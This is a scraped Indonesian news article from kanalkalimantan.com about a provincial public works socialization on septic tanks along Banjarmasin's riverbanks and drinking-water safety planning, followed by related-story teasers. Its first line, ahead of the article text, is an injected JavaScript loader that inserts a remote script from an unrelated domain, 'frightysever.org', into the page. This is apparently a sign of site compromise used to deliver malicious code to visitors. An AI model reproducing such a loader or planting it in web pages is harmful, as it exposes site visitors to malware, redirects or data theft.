(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Provinsi Kalsel melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan sosialisasi pembangunan dan peningkatan tangki septik di bantaran sungai di Banjarmasin.
Kegiatan yang dihelat pada Selasa (8/11/2022) itu bertujuan untuk pengamanan air minum kabupaten dan kota se-Kalimantan Selatan.
Sosialisasi ini dihadiri Dinas PUPR kabupaten/kota se Kalsel, Bappeda Kalsel, Dinas Kesehatan Hulu Sungai Utara dan Barito Kuala.
Mewakili Plt Kadis PUPR Kalsel, Kepala Seksi Pembinaan Teknis Penyehatan Lingkungan Air Minum dan Bangunan, Ryan Tirta Nugraha, mengatakan pembuangan air limbah domestik secara langsung ke sungai, dapat menyebabkan terjadinya pencemaran air sungai.
Untuk itu, jelas dia, pemilihan jenis tangki septik menjadi tantangan di daerah bantaran sungai, serta menerapkan teknologi modern dalam penanganan air limbah di bantaran sungai yang sesuai dengan SNI.
Hal ini berkaitan dengan Rencana Pengamanan Air Minum (RPAM) yang merupakan pendekatan analisis dan manajemen risiko yang komprehensif.
“Meliputi semua langkah-langkah dalam penyediaan air minum, mulai dari sumber air baku sampai dengan keran konsumen agar memperoleh air minum yang aman,” ujar Ryan.
Dengan belum adanya rencana pengamanan air minum di kabupaten/kota, salah satu agenda pada sosialisasi ini dilakukan secara horizontal learning yang sudah menyusun perencanaan penanganan air minum dengan menerapkan teknologi tepat guna untuk tangki septik di bantaran sungai.
Baca juga: Jelang Sidang Perdana Mardani Maming Pengamanan Diperketat di Pengadilan Tipikor Banjarmasin
“Dengan adanya berbagi pengetahuan dan pengalaman ini, diharapkan dapat menjadi tambahan informasi dan pengetahuan bagi pemerintah daerah dalam pengelolaan air limbah domestik di bantaran sungai,” katanya.
Apalagi, lanjut dia, pemenuhan akses dan kualitas penyediaan air minum dan pengelolaan air limbah domestik untuk masyarakat telah masuk kedalam kebijakan RPJMD Provinsi Kalsel 2022-2026.
“Untuk itu diharapkan target kita untuk akses aman dapat tercapai di tahun 2024,” tandas dia. (kanalkalimantan.com/rls)
Reporter: rls
Editor: Dhani
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.